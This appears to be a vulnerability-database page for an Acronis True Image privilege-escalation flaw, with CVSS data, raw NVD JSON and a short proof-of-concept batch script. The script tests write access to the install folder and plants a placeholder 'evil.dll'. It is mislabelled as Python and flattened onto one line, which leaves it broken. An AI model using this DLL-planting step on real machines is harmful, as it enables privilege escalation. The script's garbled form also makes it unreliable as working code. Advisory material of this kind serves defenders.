Security Vulnerability Report
中文
CVE-2026-33271 CVSS 6.7 MEDIUM

CVE-2026-33271

Published: 2026-04-02 18:16:28
Last Modified: 2026-04-20 16:34:11

Description

Local privilege escalation due to insecure folder permissions. The following products are affected: Acronis True Image (Windows) before build 42902.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:acronis:true_image:*:*:*:*:*:windows:*:* - VULNERABLE
Acronis True Image (Windows) < build 42902

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
@echo off :: PoC for CVE-2026-33271 - Insecure Folder Permissions :: This script checks if the vulnerable directory is writable by a low-privileged user. set TARGET_DIR="C:\Program Files\Acronis\TrueImageHome" set MALICIOUS_DLL="evil.dll" echo [*] Checking for vulnerable Acronis True Image installation... if exist %TARGET_DIR% ( echo [+] Target directory found: %TARGET_DIR% echo [*] Attempting to check write permissions... :: Try to create a dummy file in the target directory echo . > %TARGET_DIR%\test_permissions.txt 2>nul if exist %TARGET_DIR%\test_permissions.txt ( echo [+] SUCCESS: Directory is writable! echo [+] An attacker can place a malicious DLL or executable here to achieve Privilege Escalation. del %TARGET_DIR%\test_permissions.txt :: Simulate payload placement (DO NOT execute in production) echo [*] Copying malicious payload to %TARGET_DIR%... echo malicious content > %TARGET_DIR%\%MALICIOUS_DLL% if exist %TARGET_DIR%\%MALICIOUS_DLL% ( echo [+] Payload deployed successfully. Waiting for high-privileged process execution... ) ) else ( echo [-] Directory is not writable. System might be patched or permissions are correct. ) ) else ( echo [-] Target directory not found. Acronis True Image may not be installed. ) pause

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33271", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:27.903", "lastModified": "2026-04-20T16:34:11.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Local privilege escalation due to insecure folder permissions. The following products are affected: Acronis True Image (Windows) before build 42902."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:acronis:true_image:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "2BB3F5C3-E7BF-458A-BB47-79B01F3DCF6E"}]}]}], "references": [{"url": "https://security-advisory.acronis.com/advisories/SEC-9108", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}